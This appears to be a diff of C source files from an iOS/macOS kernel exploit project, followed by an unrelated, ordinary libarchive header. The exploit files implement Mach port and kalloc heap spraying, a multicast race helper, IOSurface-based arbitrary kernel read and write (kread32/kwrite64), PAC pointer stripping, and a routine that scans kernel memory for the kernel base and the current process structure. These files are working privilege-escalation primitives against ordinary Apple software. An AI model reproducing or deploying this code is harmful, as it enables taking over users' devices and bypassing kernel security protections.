kern_return_t IOConnectTrap6(io_connect_t client, uint32_t index, uintptr_t a, uintptr_t b, uintptr_t c, uintptr_t d, uintptr_t e, uintptr_t f);
#endif

View File

@ -0,0 +1,64 @@
#include "kernel_base.h"
#include "kernel_rw.h"
#include "port_utils.h"
#include "spray.h"
#include "xpaci.h" // ptrauth.h replacement
#include <stdio.h>
#include <stdint.h>
#include <sys/socket.h>
#include <sys/syscall.h>
uint64_t g_self_proc = 0;
#pragma clang diagnostic ignored "-Wdeprecated-declarations" // syscall
uint64_t kernel_base_from_holder(mach_port_t holder, uint64_t holder_addr)
{
uint64_t kernel_base = 0;
const int receive_size = 0x10000; // Doesn't really matter
const int data_kalloc_size = 0x50; // Doesn't really matter
uint8_t *buf = calloc(1, receive_size);
mach_port_t fileport = MACH_PORT_NULL;
// read out port pointer
uint64_t port_addr = kread64(holder_addr + 8);
// init fileport
int sock = socket(AF_INET, SOCK_DGRAM, 0);
syscall(SYS_fileport_makeport, sock, &fileport);
// send new message contaning port
port_receive_msg(holder, buf, receive_size);
spray_default_kalloc_ool_ports_with_data_kalloc_size_on_port(sizeof(void *), &fileport, data_kalloc_size, holder);
// read kernel text pointer fops
uint64_t kmsg = kread64(port_addr + 0x30);
uint64_t ikm_header = xpaci(kread64(kmsg + 0x18));
uint64_t oolp_array = kread64(ikm_header + 0x24);
uint64_t oolp = kread64(oolp_array);
uint64_t kobject = xpaci(kread64(oolp + 0x58));
uint64_t fops = kread64(kobject + 0x28);
uint64_t x68 = xpaci(kread64(kmsg + 0x68));
uint64_t self_ipc_space = xpaci(kread64(x68 + 0x50));
uint64_t self_task = xpaci(kread64(self_ipc_space + 0x30));
g_self_proc = xpaci(kread64(self_task + 0x3c8));
// find kernel base
uint64_t pos = (fops & ~0x3FFF);
do
{
pos -= 0x4000;
} while (kread32(pos) != 0xFEEDFACF);
kernel_base = pos;
// cleanup
close(sock);
port_deallocate_n(&fileport, 1);
return kernel_base;
}

View File

@ -0,0 +1,9 @@
#ifndef __KERNEL_BASE_H__
#define __KERNEL_BASE_H__
#include <mach/mach.h>
#include <stdint.h>
uint64_t kernel_base_from_holder(mach_port_t holder, uint64_t holder_addr);
#endif

View File

@ -0,0 +1,75 @@
#include "kernel_rw.h"
#include "IOSurfaceRoot.h"
static io_connect_t _uc;
static uint32_t _surf_id;
static int _read_pipe;
static int _write_pipe;
static uint64_t _mapped_address;
void kernel_rw_preinit(uint64_t kaddr, uint8_t *buf, size_t n)
{
memset(buf, 0x07, n);
*(uint64_t *)(buf + 0x10 + 0x40) = kaddr+ 0x10; // IOSurfaceClient->IOSurface
*(uint64_t *)(buf + 0x10 + 0xB0) = 1; // See IOSurface::setCompressedTileDataRegionMemoryUsedOfPlane
*(uint64_t *)(buf + 0x10 + 0xC0 + 0x18) = kaddr + 0x20 - 0xA0; // Write destination (+0xA0 added)
_mapped_address = kaddr;
}
int kernel_rw_init(io_connect_t uc, uint32_t surf_id, int read_pipe, int write_pipe)
{
_uc = uc;
_surf_id = surf_id;
_read_pipe = read_pipe;
_write_pipe = write_pipe;
return 0;
}
uint32_t kread32(uint64_t kaddr)
{
uint8_t buf[KERNEL_RW_SIZE_FAKE_ARRAY];
read(_read_pipe, buf, KERNEL_RW_SIZE_FAKE_ARRAY-1);
*(uint64_t *)(buf+ 0x10 + 0x40) = kaddr+ 0x10; // IOSurfaceClient->IOSurface
*(uint64_t *)(buf+ 0x10 + 0xC0 ) = kaddr - 0x14; // Write destination (+0xA0 added)
write(_write_pipe, buf, KERNEL_RW_SIZE_FAKE_ARRAY-1);
return IOSurfaceRoot_get_surface_use_count(_uc, _surf_id);
}
uint64_t kread64(uint64_t kaddr)
{
uint8_t b[8];
*(uint32_t *)b = kread32(kaddr);
*(uint32_t *)(b + 4) = kread32(kaddr + 4);
return *(uint64_t *)b;
}
void kwrite32(uint64_t kaddr, uint32_t val)
{
uint8_t buf[KERNEL_RW_SIZE_FAKE_ARRAY];
read(_read_pipe, buf, KERNEL_RW_SIZE_FAKE_ARRAY-1);
*(uint64_t *)(buf + 0x10 + 0x40) = kaddr+ 0x10; // IOSurfaceClient->IOSurface
*(uint64_t *)(buf + 0x10 + 0xB0) = 1; // See IOSurface::setCompressedTileDataRegionMemoryUsedOfPlane
*(uint64_t *)(buf + 0x10 + 0xC0) = kaddr - 0xA0; // Write destination (+0xA0 added)
write(_write_pipe, buf, KERNEL_RW_SIZE_FAKE_ARRAY-1);
IOSurfaceRoot_set_compressed_tile_data_region_memory_used_of_plane(_uc, _surf_id, val);
}
void kwrite64(uint64_t kaddr, uint64_t val)
{
kwrite32(kaddr, (uint32_t)val);
kwrite32(kaddr + 4, (uint32_t)(val >> 32));
}

View File

@ -0,0 +1,18 @@
#ifndef __KERNEL_RW_H__
#define __KERNEL_RW_H__
#define KERNEL_RW_SIZE_FAKE_ARRAY 0x4000
#include "iokit.h"
void kernel_rw_preinit(uint64_t kaddr, uint8_t *buf, size_t n);
int kernel_rw_init(io_connect_t uc, uint32_t surf_id, int read_pipe, int write_pipe);
uint32_t kread32(uint64_t kaddr);
uint64_t kread64(uint64_t kaddr);
void kwrite32(uint64_t kaddr, uint32_t val);
void kwrite64(uint64_t kaddr, uint64_t val);
#endif

View File

@ -0,0 +1,55 @@
#include "mcast.h"
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <string.h>
int mcast_race_sock;
int mcast_join_group(int ip)
{
struct group_req mreq = { 0 };
struct sockaddr_in6 sin6 = {0};
mreq.gr_interface = 1;
sin6.sin6_len = sizeof(sin6);
sin6.sin6_family = AF_INET6;
sin6.sin6_port = 7878;
sin6.sin6_addr.__u6_addr.__u6_addr32[3] = 0;
sin6.sin6_addr.__u6_addr.__u6_addr32[2] = 0;
sin6.sin6_addr.__u6_addr.__u6_addr32[1] = ip;
sin6.sin6_addr.__u6_addr.__u6_addr32[0] = (htonl(0xFF000000));
memcpy(&mreq.gr_group, &sin6, sizeof(sin6));
mreq.gr_interface = 1;
return setsockopt(mcast_race_sock, IPPROTO_IPV6, MCAST_JOIN_GROUP, &mreq, sizeof(mreq));
}
void mcast_increase_race_reliability(void)
{
struct group_req mreq = { 0 };
struct sockaddr_in6 sin6 = {0};
int s = socket(AF_INET6, SOCK_DGRAM, 0);
mreq.gr_interface = 1;
sin6.sin6_len = sizeof(sin6);
sin6.sin6_family = AF_INET6;
sin6.sin6_port = 7878;
sin6.sin6_addr.__u6_addr.__u6_addr32[3] = 0;
sin6.sin6_addr.__u6_addr.__u6_addr32[2] = 0;
sin6.sin6_addr.__u6_addr.__u6_addr32[1] = 0;
sin6.sin6_addr.__u6_addr.__u6_addr32[0] = (htonl(0xFF000000));
memcpy(&mreq.gr_group, &sin6, sizeof(sin6));
for (int i = 0; i < 3000; ++i)
{
((struct sockaddr_in6 *)(&mreq.gr_group))->sin6_addr.__u6_addr.__u6_addr32[1] = i + (3000 * 3000);
setsockopt(s, IPPROTO_IPV6, MCAST_JOIN_GROUP, &mreq, sizeof(mreq));
}
}

View File

@ -0,0 +1,9 @@
#ifndef __MCAST_H__
#define __MCAST_H__
extern int mcast_race_sock;
void mcast_increase_race_reliability(void);
int mcast_join_group(int ip);
#endif

View File

@ -0,0 +1,16 @@
#include "necp.h"
#include <sys/syscall.h>
#include <unistd.h>
#pragma clang diagnostic ignored "-Wdeprecated-declarations"
int necp_open(int flags)
{
return syscall(SYS_necp_open, flags);
}
int necp_client_action(int necp_fd, uint32_t action, uint8_t *client_id, size_t client_id_len, uint8_t *buffer, size_t buffer_size)
{
return syscall(SYS_necp_client_action, necp_fd, action, client_id, client_id_len, buffer, buffer_size);
}

View File

@ -0,0 +1,10 @@
#ifndef __NECP_H__
#define __NECP_H__
#include <stdlib.h>
#include <stdint.h>
int necp_open(int flags);
int necp_client_action(int necp_fd, uint32_t action, uint8_t *client_id, size_t client_id_len, uint8_t *buffer, size_t buffer_size);
#endif

View File

@ -0,0 +1,116 @@
#include "port_utils.h"
#include <mach/mach.h>
#include <stdlib.h>
#pragma clang diagnostic ignored "-Wdeprecated-declarations" // mach_port_destroy
mach_port_t port_new(void)
{
mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT };
mach_port_t port;
mach_port_construct(mach_task_self(), &options, 0, &port);
return port;
}
void port_destroy(mach_port_t p)
{
mach_port_destroy(mach_task_self(), p);
}
void port_deallocate(mach_port_t p)
{
mach_port_deallocate(mach_task_self(), p);
}
void port_destroy_n(mach_port_t *p, unsigned int count)
{
for (int i = 0; i < count; ++i)
{
mach_port_destroy(mach_task_self(), p[i]);
p[i] = 0;
}
}
void port_deallocate_n(mach_port_t *p, unsigned int count)
{
for (int i = 0; i < count; ++i)
{
mach_port_deallocate(mach_task_self(), p[i]);
}
}
int port_has_msg(mach_port_t p)
{
mach_msg_header_t msg = { 0 };
mach_msg(&msg, MACH_RCV_LARGE | MACH_RCV_MSG | MACH_RCV_TIMEOUT, 0, 0x10, p, 0, 0);
return msg.msgh_size;
}
int port_peek_trailer_size(mach_port_t p)
{
mach_port_seqno_t msg_seqno = 0;
mach_msg_size_t msg_size = 0;
mach_msg_id_t msg_id = 0;
mach_msg_trailer_t msg_trailer;
mach_msg_type_number_t msg_trailer_size = sizeof(msg_trailer);
mach_port_peek(mach_task_self(),
p,
MACH_RCV_TRAILER_NULL,
&msg_seqno,
&msg_size,
&msg_id,
(mach_msg_trailer_info_t)&msg_trailer,
&msg_trailer_size);
return msg_trailer.msgh_trailer_size;
}
void port_receive_msg(mach_port_t p, uint8_t *buf, unsigned int n)
{
mach_msg((mach_msg_header_t *)buf,
MACH_RCV_MSG | MACH_MSG_TIMEOUT_NONE,
0,
n,
p,
0,
0);
}
void port_receive_msg_n(mach_port_t *p, unsigned int count)
{
uint8_t buf[0x1000];
for (int i = 0; i < count; ++i)
{
port_receive_msg(p[i], buf, 8);
}
}
void port_receive_msg_all_n(mach_port_t *p, unsigned int count)
{
uint8_t buf[0x1000];
for (int i = 0; i < count; ++i)
{
do
{
port_receive_msg(p[i], buf, 8);
} while (port_has_msg(p[i]));
}
}
void port_receive_msg_and_deallocate_n(mach_port_t *p, unsigned int count)
{
port_receive_msg_n(p, count);
port_deallocate_n(p, count);
for (int i = 0; i < count; ++i)
{
p[i] = MACH_PORT_NULL;
}
}

View File

@ -0,0 +1,22 @@
#ifndef __PORT_UTILS_H__
#define __PORT_UTILS_H__
#include <mach/mach.h>
mach_port_t port_new(void);
void port_destroy(mach_port_t p);
void port_deallocate(mach_port_t p);
void port_destroy_n(mach_port_t *p, unsigned int count);
void port_deallocate_n(mach_port_t *p, unsigned int count);
int port_has_msg(mach_port_t p);
int port_peek_trailer_size(mach_port_t p);
void port_receive_msg(mach_port_t p, uint8_t *buf, unsigned int size);
void port_receive_msg_n(mach_port_t *p, unsigned int count);
void port_receive_msg_and_deallocate_n(mach_port_t *p, unsigned int count);
#endif

View File

@ -0,0 +1,214 @@
#include "spray.h"
#include "necp.h"
#include <mach/mach.h>
#include <stdlib.h>
mach_port_t *spray_data_kalloc_kmsg(uint8_t *data, unsigned int size, unsigned int count)
{
mach_port_t *ports = calloc(sizeof(mach_port_t), count);
mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT };
mach_msg_header_t *msg = (mach_msg_header_t *)data;
memset(msg, 0, sizeof(mach_msg_header_t));
msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->msgh_size = size;
for (unsigned int i = 0; i < count; ++i)
{
mach_port_construct(mach_task_self(), &options, 0, &ports[i]);
}
for (unsigned int i = 0; i < count; ++i)
{
msg->msgh_remote_port = ports[i];
msg->msgh_id = i;
mach_msg_send(msg);
}
return ports;
}
mach_port_t spray_data_kalloc_kmsg_single(uint8_t *data, unsigned int size)
{
mach_port_t port = MACH_PORT_NULL;
mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT };
mach_msg_header_t *msg = (mach_msg_header_t *)data;
memset(msg, 0, sizeof(mach_msg_header_t));
msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->msgh_size = size;
mach_port_construct(mach_task_self(), &options, 0, &port);
msg->msgh_remote_port = port;
mach_msg_send(msg);
return port;
}
void spray_data_kalloc_kmsg_on_ports(uint8_t *data, unsigned int size, unsigned int count, mach_port_t *ports)
{
mach_msg_header_t *msg = (mach_msg_header_t *)data;
memset(msg, 0, sizeof(mach_msg_header_t));
msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->msgh_size = size;
//memcpy(msg + 1, data, size-sizeof(*msg));
for (unsigned int i = 0; i < count; ++i)
{
msg->msgh_remote_port = ports[i];
msg->msgh_id = i;
mach_msg_send(msg);
}
}
mach_port_t *spray_data_kalloc_ool_descriptor(uint8_t *data, unsigned int size, unsigned int count)
{
mach_port_t *ports = calloc(sizeof(mach_port_t), count);
mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT };
mach_msg_header_t *msg = (mach_msg_header_t *)calloc(1, size);
msg->msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->msgh_size = size;
for (unsigned int i = 0; i < count; ++i)
{
mach_port_construct(mach_task_self(), &options, 0, &ports[i]);
}
for (unsigned int i = 0; i < count; ++i)
{
msg->msgh_remote_port = ports[i];
mach_msg_send(msg);
}
free(msg);
return ports;
}
mach_port_t *spray_default_kalloc_ool_ports(unsigned int size, unsigned int count, mach_port_t *ool_ports)
{
return spray_default_kalloc_ool_ports_with_data_kalloc_size(size, count, ool_ports, 0x50);
}
mach_port_t *spray_default_kalloc_ool_ports_with_data_kalloc_size(unsigned int size, unsigned int count, mach_port_t *ool_ports, unsigned int data_kalloc_size)
{
struct default_msg
{
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_ports_descriptor_t desc;
};
mach_port_t *ports = calloc(sizeof(mach_port_t), count);
mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT };
struct default_msg *msg = (struct default_msg *)calloc(1, 0x100);
msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->hdr.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
msg->hdr.msgh_size = data_kalloc_size;
msg->body.msgh_descriptor_count = 1;
msg->desc.deallocate = 0;
msg->desc.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
msg->desc.copy = MACH_MSG_VIRTUAL_COPY;
msg->desc.disposition = MACH_MSG_TYPE_COPY_SEND;
msg->desc.count = size/8;
msg->desc.address = (void *)ool_ports;
for (unsigned int i = 0; i < count; ++i)
{
mach_port_construct(mach_task_self(), &options, 0, &ports[i]);
}
for (unsigned int i = 0; i < count; ++i)
{
msg->hdr.msgh_remote_port = ports[i];
kern_return_t kr = mach_msg_send((mach_msg_header_t *)msg);
if (kr) {
*(int *)1 = 0;
}
}
free(msg);
return ports;
}
void spray_default_kalloc_ool_ports_on_port(unsigned int size, unsigned int count, mach_port_t *ool_ports, mach_port_t p)
{
spray_default_kalloc_ool_ports_with_data_kalloc_size_on_port(size, ool_ports, 0x50, p);
}
void spray_default_kalloc_ool_ports_with_data_kalloc_size_on_port(unsigned int size, mach_port_t *ool_ports, unsigned int data_kalloc_size, mach_port_t p)
{
struct default_msg
{
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_ports_descriptor_t desc;
};
struct default_msg *msg = (struct default_msg *)calloc(1, 0x100);
msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->hdr.msgh_bits |= MACH_MSGH_BITS_COMPLEX;
msg->hdr.msgh_size = data_kalloc_size;
msg->body.msgh_descriptor_count = 1;
msg->desc.deallocate = 0;
msg->desc.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
msg->desc.copy = MACH_MSG_VIRTUAL_COPY;
msg->desc.disposition = MACH_MSG_TYPE_COPY_SEND;
msg->desc.count = size/8;
msg->desc.address = (void *)ool_ports;
msg->hdr.msgh_remote_port = p;
kern_return_t kr = mach_msg_send((mach_msg_header_t *)msg);
if (kr) {
*(int *)1 = 0;
}
free(msg);
}
kern_return_t spray_kmsg_on_port(mach_port_t port, void *data, size_t size)
{
mach_msg_base_t *msg = data;
msg->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
msg->header.msgh_remote_port = port;
msg->header.msgh_size = (mach_msg_size_t)size;
return mach_msg_send(&msg->header);
}
mach_port_t *spray_ports_with_context(unsigned int count, uint64_t context)
{
mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT };
mach_port_t *ports = calloc(sizeof(mach_port_t), count);
for (unsigned int i = 0; i < count; ++i)
{
mach_port_construct(mach_task_self(), &options, context, &ports[i]);
}
return ports;
}
mach_port_t *spray_ports(unsigned int count)
{
return spray_ports_with_context(count, 0);
}
int spray_default_kalloc_necp(int necp_fd, uint8_t *b, uint32_t sz)
{
uint8_t if_id[0x10];
return necp_client_action(necp_fd, 1, if_id, sizeof(if_id), b, sz);
}

View File

@ -0,0 +1,23 @@
#ifndef __SPRAY_H__
#define __SPRAY_H__
#include <mach/mach.h>
#include <stdint.h>
mach_port_t spray_data_kalloc_kmsg_single(uint8_t *data, unsigned int size);
mach_port_t *spray_data_kalloc_kmsg(uint8_t *data, unsigned int size, unsigned int count);
void spray_data_kalloc_kmsg_on_ports(uint8_t *data, unsigned int size, unsigned int count, mach_port_t *ports);
mach_port_t *spray_default_kalloc_ool_ports(unsigned int size, unsigned int count, mach_port_t *ool_ports);
mach_port_t *spray_default_kalloc_ool_ports_with_data_kalloc_size(unsigned int size, unsigned int count, mach_port_t *ool_ports, unsigned int data_kalloc_size);
void spray_default_kalloc_ool_ports_on_port(unsigned int size, unsigned int count, mach_port_t *ool_ports, mach_port_t p);
void spray_default_kalloc_ool_ports_with_data_kalloc_size_on_port(unsigned int size, mach_port_t *ool_ports, unsigned int data_kalloc_size, mach_port_t p);
int spray_default_kalloc_necp(int necp_fd, uint8_t *b, uint32_t sz);
kern_return_t spray_kmsg_on_port(mach_port_t port, void *data, size_t size);
mach_port_t *spray_ports(unsigned int count);
mach_port_t *spray_ports_with_context(unsigned int count, uint64_t context);
#endif

View File

@ -0,0 +1,18 @@
// ptrauth.h replacement
static uint64_t __attribute((naked)) __xpaci(uint64_t a)
{
asm(".long 0xDAC143E0"); // XPACI X0
asm("ret");
}
static uint64_t xpaci(uint64_t a)
{
// If a looks like a non-pac'd pointer just return it
if ((a & 0xFFFFFF0000000000) == 0xFFFFFF0000000000)
{
return a;
}
return __xpaci(a);
}

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,721 @@
/*-
* Copyright (c) 2003-2008 Tim Kientzle
* Copyright (c) 2016 Martin Matuska
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
* $FreeBSD: head/lib/libarchive/archive_entry.h 201096 2009-12-28 02:41:27Z kientzle $
*/
#ifndef ARCHIVE_ENTRY_H_INCLUDED
#define ARCHIVE_ENTRY_H_INCLUDED
/* Note: Compiler will complain if this does not match archive.h! */
#define ARCHIVE_VERSION_NUMBER 3006002
/*
* Note: archive_entry.h is for use outside of libarchive; the
* configuration headers (config.h, archive_platform.h, etc.) are
* purely internal. Do NOT use HAVE_XXX configuration macros to
* control the behavior of this header! If you must conditionalize,
* use predefined compiler and/or platform macros.
*/
#include <sys/types.h>
#include <stddef.h> /* for wchar_t */
#include <stdint.h>
#include <time.h>
#if defined(_WIN32) && !defined(__CYGWIN__)
#include <windows.h>
#endif
/* Get a suitable 64-bit integer type. */
#if !defined(__LA_INT64_T_DEFINED)
# if ARCHIVE_VERSION_NUMBER < 4000000
#define __LA_INT64_T la_int64_t
# endif
#define __LA_INT64_T_DEFINED
# if defined(_WIN32) && !defined(__CYGWIN__) && !defined(__WATCOMC__)
typedef __int64 la_int64_t;
# else
#include <unistd.h>
# if defined(_SCO_DS) || defined(__osf__)
typedef long long la_int64_t;
# else
typedef int64_t la_int64_t;
# endif
# endif
#endif
/* The la_ssize_t should match the type used in 'struct stat' */
#if !defined(__LA_SSIZE_T_DEFINED)
/* Older code relied on the __LA_SSIZE_T macro; after 4.0 we'll switch to the typedef exclusively. */
# if ARCHIVE_VERSION_NUMBER < 4000000
#define __LA_SSIZE_T la_ssize_t
# endif
#define __LA_SSIZE_T_DEFINED
# if defined(_WIN32) && !defined(__CYGWIN__) && !defined(__WATCOMC__)
# if defined(_SSIZE_T_DEFINED) || defined(_SSIZE_T_)
typedef ssize_t la_ssize_t;
# elif defined(_WIN64)
typedef __int64 la_ssize_t;
# else
typedef long la_ssize_t;
# endif
# else
# include <unistd.h> /* ssize_t */
typedef ssize_t la_ssize_t;
# endif
#endif
/* Get a suitable definition for mode_t */
#if ARCHIVE_VERSION_NUMBER >= 3999000
/* Switch to plain 'int' for libarchive 4.0. It's less broken than 'mode_t' */
# define __LA_MODE_T int
#elif defined(_WIN32) && !defined(__CYGWIN__) && !defined(__BORLANDC__) && !defined(__WATCOMC__)
# define __LA_MODE_T unsigned short
#else
# define __LA_MODE_T mode_t
#endif
/* Large file support for Android */
#if defined(__LIBARCHIVE_BUILD) && defined(__ANDROID__)
#include "android_lf.h"
#endif
/*
* On Windows, define LIBARCHIVE_STATIC if you're building or using a
* .lib. The default here assumes you're building a DLL. Only
* libarchive source should ever define __LIBARCHIVE_BUILD.
*/
#if ((defined __WIN32__) || (defined _WIN32) || defined(__CYGWIN__)) && (!defined LIBARCHIVE_STATIC)
# ifdef __LIBARCHIVE_BUILD
# ifdef __GNUC__
# define __LA_DECL __attribute__((dllexport)) extern
# else
# define __LA_DECL __declspec(dllexport)
# endif
# else
# ifdef __GNUC__
# define __LA_DECL
# else
# define __LA_DECL __declspec(dllimport)
# endif
# endif
#else
/* Static libraries on all platforms and shared libraries on non-Windows. */
# define __LA_DECL
#endif
#if defined(__GNUC__) && __GNUC__ >= 3 && __GNUC_MINOR__ >= 1
# define __LA_DEPRECATED __attribute__((deprecated))
#else
# define __LA_DEPRECATED
#endif
#ifdef __cplusplus
extern "C" {
#endif
/*
* Description of an archive entry.
*
* You can think of this as "struct stat" with some text fields added in.
*
* TODO: Add "comment", "charset", and possibly other entries that are
* supported by "pax interchange" format. However, GNU, ustar, cpio,
* and other variants don't support these features, so they're not an
* excruciatingly high priority right now.
*
* TODO: "pax interchange" format allows essentially arbitrary
* key/value attributes to be attached to any entry. Supporting
* such extensions may make this library useful for special
* applications (e.g., a package manager could attach special
* package-management attributes to each entry).
*/
struct archive;
struct archive_entry;
/*
* File-type constants. These are returned from archive_entry_filetype()
* and passed to archive_entry_set_filetype().
*
* These values match S_XXX defines on every platform I've checked,
* including Windows, AIX, Linux, Solaris, and BSD. They're
* (re)defined here because platforms generally don't define the ones
* they don't support. For example, Windows doesn't define S_IFLNK or
* S_IFBLK. Instead of having a mass of conditional logic and system
* checks to define any S_XXX values that aren't supported locally,
* I've just defined a new set of such constants so that
* libarchive-based applications can manipulate and identify archive
* entries properly even if the hosting platform can't store them on
* disk.
*
* These values are also used directly within some portable formats,
* such as cpio. If you find a platform that varies from these, the
* correct solution is to leave these alone and translate from these
* portable values to platform-native values when entries are read from
* or written to disk.
*/
/*
* In libarchive 4.0, we can drop the casts here.
* They're needed to work around Borland C's broken mode_t.
*/
#define AE_IFMT ((__LA_MODE_T)0170000)
#define AE_IFREG ((__LA_MODE_T)0100000)
#define AE_IFLNK ((__LA_MODE_T)0120000)
#define AE_IFSOCK ((__LA_MODE_T)0140000)
#define AE_IFCHR ((__LA_MODE_T)0020000)
#define AE_IFBLK ((__LA_MODE_T)0060000)
#define AE_IFDIR ((__LA_MODE_T)0040000)
#define AE_IFIFO ((__LA_MODE_T)0010000)
/*
* Symlink types
*/
#define AE_SYMLINK_TYPE_UNDEFINED 0
#define AE_SYMLINK_TYPE_FILE 1
#define AE_SYMLINK_TYPE_DIRECTORY 2
/*
* Basic object manipulation
*/
__LA_DECL struct archive_entry *archive_entry_clear(struct archive_entry *);
/* The 'clone' function does a deep copy; all of the strings are copied too. */
__LA_DECL struct archive_entry *archive_entry_clone(struct archive_entry *);
__LA_DECL void archive_entry_free(struct archive_entry *);
__LA_DECL struct archive_entry *archive_entry_new(void);
/*
* This form of archive_entry_new2() will pull character-set
* conversion information from the specified archive handle. The
* older archive_entry_new(void) form is equivalent to calling
* archive_entry_new2(NULL) and will result in the use of an internal
* default character-set conversion.
*/
__LA_DECL struct archive_entry *archive_entry_new2(struct archive *);
/*
* Retrieve fields from an archive_entry.
*
* There are a number of implicit conversions among these fields. For
* example, if a regular string field is set and you read the _w wide
* character field, the entry will implicitly convert narrow-to-wide
* using the current locale. Similarly, dev values are automatically
* updated when you write devmajor or devminor and vice versa.
*
* In addition, fields can be "set" or "unset." Unset string fields
* return NULL, non-string fields have _is_set() functions to test
* whether they've been set. You can "unset" a string field by
* assigning NULL; non-string fields have _unset() functions to
* unset them.
*
* Note: There is one ambiguity in the above; string fields will
* also return NULL when implicit character set conversions fail.
* This is usually what you want.
*/
__LA_DECL time_t archive_entry_atime(struct archive_entry *);
__LA_DECL long archive_entry_atime_nsec(struct archive_entry *);
__LA_DECL int archive_entry_atime_is_set(struct archive_entry *);
__LA_DECL time_t archive_entry_birthtime(struct archive_entry *);
__LA_DECL long archive_entry_birthtime_nsec(struct archive_entry *);
__LA_DECL int archive_entry_birthtime_is_set(struct archive_entry *);
__LA_DECL time_t archive_entry_ctime(struct archive_entry *);
__LA_DECL long archive_entry_ctime_nsec(struct archive_entry *);
__LA_DECL int archive_entry_ctime_is_set(struct archive_entry *);
__LA_DECL dev_t archive_entry_dev(struct archive_entry *);
__LA_DECL int archive_entry_dev_is_set(struct archive_entry *);
__LA_DECL dev_t archive_entry_devmajor(struct archive_entry *);
__LA_DECL dev_t archive_entry_devminor(struct archive_entry *);
__LA_DECL __LA_MODE_T archive_entry_filetype(struct archive_entry *);
__LA_DECL void archive_entry_fflags(struct archive_entry *,
unsigned long * /* set */,
unsigned long * /* clear */);
__LA_DECL const char *archive_entry_fflags_text(struct archive_entry *);
__LA_DECL la_int64_t archive_entry_gid(struct archive_entry *);
__LA_DECL const char *archive_entry_gname(struct archive_entry *);
__LA_DECL const char *archive_entry_gname_utf8(struct archive_entry *);
__LA_DECL const wchar_t *archive_entry_gname_w(struct archive_entry *);
__LA_DECL const char *archive_entry_hardlink(struct archive_entry *);
__LA_DECL const char *archive_entry_hardlink_utf8(struct archive_entry *);
__LA_DECL const wchar_t *archive_entry_hardlink_w(struct archive_entry *);
__LA_DECL la_int64_t archive_entry_ino(struct archive_entry *);
__LA_DECL la_int64_t archive_entry_ino64(struct archive_entry *);
__LA_DECL int archive_entry_ino_is_set(struct archive_entry *);
__LA_DECL __LA_MODE_T archive_entry_mode(struct archive_entry *);
__LA_DECL time_t archive_entry_mtime(struct archive_entry *);
__LA_DECL long archive_entry_mtime_nsec(struct archive_entry *);
__LA_DECL int archive_entry_mtime_is_set(struct archive_entry *);
__LA_DECL unsigned int archive_entry_nlink(struct archive_entry *);
__LA_DECL const char *archive_entry_pathname(struct archive_entry *);
__LA_DECL const char *archive_entry_pathname_utf8(struct archive_entry *);
__LA_DECL const wchar_t *archive_entry_pathname_w(struct archive_entry *);
__LA_DECL __LA_MODE_T archive_entry_perm(struct archive_entry *);
__LA_DECL dev_t archive_entry_rdev(struct archive_entry *);
__LA_DECL dev_t archive_entry_rdevmajor(struct archive_entry *);
__LA_DECL dev_t archive_entry_rdevminor(struct archive_entry *);
__LA_DECL const char *archive_entry_sourcepath(struct archive_entry *);
__LA_DECL const wchar_t *archive_entry_sourcepath_w(struct archive_entry *);
__LA_DECL la_int64_t archive_entry_size(struct archive_entry *);
__LA_DECL int archive_entry_size_is_set(struct archive_entry *);
__LA_DECL const char *archive_entry_strmode(struct archive_entry *);
__LA_DECL const char *archive_entry_symlink(struct archive_entry *);
__LA_DECL const char *archive_entry_symlink_utf8(struct archive_entry *);
__LA_DECL int archive_entry_symlink_type(struct archive_entry *);
__LA_DECL const wchar_t *archive_entry_symlink_w(struct archive_entry *);
__LA_DECL la_int64_t archive_entry_uid(struct archive_entry *);
__LA_DECL const char *archive_entry_uname(struct archive_entry *);
__LA_DECL const char *archive_entry_uname_utf8(struct archive_entry *);
__LA_DECL const wchar_t *archive_entry_uname_w(struct archive_entry *);
